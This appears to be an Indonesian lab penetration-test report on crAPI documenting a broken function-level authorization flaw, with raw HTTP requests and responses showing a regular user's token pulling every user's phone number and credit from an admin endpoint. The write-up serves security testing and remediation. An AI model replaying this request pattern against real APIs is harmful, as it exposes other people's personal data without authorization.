Broken Function Level Authorization - Workshop - Management Users Endpoint

Kerentanan

[FAIL] Broken Function Level Authorization - Workshop - Management Users Endpoint

Deskripsi

Endpoint manajemen /workshop/api/management/users/all -- yang semestinya hanya untuk administrator -- dapat diakses oleh pengguna terautentikasi biasa (role=user). Endpoint mengembalikan data seluruh pengguna aplikasi.

Dampak

Confidentiality: pengguna biasa mana pun dapat mengunduh PII seluruh pengguna (17 user): email, nomor telepon, dan saldo credit. Kontrol otorisasi tingkat fungsi (function-level) tidak ditegakkan.

CWE

CWE-285: Improper Authorization (terkait CWE-639)

OWASP

API5:2023 - Broken Function Level Authorization (dan API3:2023 - Excessive Data Exposure)

Skenario

Normal: user biasa hanya melihat data akunnya sendiri. Eksploitasi: user biasa yang sama mengakses endpoint manajemen /workshop/api/management/users/all -> 200 mengembalikan PII seluruh pengguna. Hasil akhir menampakkan CIA (Confidentiality).

Endpoint

GET http://127.0.0.1:8888/workshop/api/management/users/all

Fitur terdampak

Endpoint Manajemen Pengguna (crapi-workshop)

Rekomendasi perbaikan

- Terapkan otorisasi berbasis peran (role) pada seluruh endpoint manajemen/administratif; verifikasi role=admin di sisi server. - Jangan mengandalkan ketiadaan tautan UI sebagai kontrol akses. - Minimalkan data yang dikembalikan.

Bukti konsep

1. (Screenshot 1) NORMAL: GET /identity/api/v2/user/dashboard dengan token user biasa -> 200, hanya data akun sendiri (id=8).
2. (Screenshot 2) EKSPLOITASI + CIA: GET /workshop/api/management/users/all dengan token user biasa yang SAMA -> 200 mengembalikan PII seluruh pengguna (17 user).

Rekaman lengkap

LAB Semua target adalah sistem lab. Tidak ada satu pun yang merupakan pekerjaan klien. Bukti ditampilkan apa adanya; secret dihitamkan.

Normal: data sendiri

Alur normal: pengguna biasa (role=user) hanya melihat datanya sendiri.

HTTP request

GET /identity/api/v2/vehicle/vehicles HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response

HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 368

[
  {
    "id": 6,
    "uuid": "9b3ce26b-d797-404b-a961-09d7e45e0d1b",
    "pincode": "8392",
    "vin": "861P9NB3CL6ZEA9X1",
    "year": 2026,
    "status": "INACTIVE",
    "previousOwners": [],
    "model": {
      "id": 4,
      "model": "5 Series",
      "fuel_type": "PETROL",
      "vehicle_img": "images/bmw-5.jpg",
      "vehiclecompany": {
        "id": 4,
        "name": "BMW"
      }
    },
    "vehicleLocation": {
      "id": 4,
      "latitude": "38.206348",
      "longitude": "-84.270172"
    },
    "owner": null
  }
]

Dampak: data seluruh 17 pengguna terbuka

Dampak: token pengguna biasa yang sama dapat mengakses endpoint manajemen yang seharusnya khusus admin. Response 200 membocorkan PII seluruh pengguna: email, nomor telepon, dan credit dari 17 pengguna. Kerahasiaan data terdampak.

HTTP request

GET /workshop/api/management/users/all HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response

HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 1573

{
  "users": [
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "9876895423"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "9876570006"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "9876570001"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "9876540001"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "9010203040"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": ""
      },
      "available_credit": 0.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": ""
      },
      "available_credit": 0.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+234123423423"
      },
      "available_credit": 155.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+123424243234"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+1999888777"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+1999000111"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+199907057"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+19990111"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+19990222"
      },
      "available_credit": 100.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+1997552"
      },
      "available_credit": 175.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+1999674"
      },
      "available_credit": 175.0
    },
    {
      "user": {
        "email": "[REDACTED-EMAIL]",
        "number": "+1995809"
      },
      "available_credit": 175.0
    }
  ],
  "next_offset": null,
  "previous_offset": null,
  "count": 17
}

← Kasus sebelumnya: Broken Access Control - Login - CSRF Token Cookie Binding Kasus berikutnya: Broken Object Level Authorization - Shop - Return Order →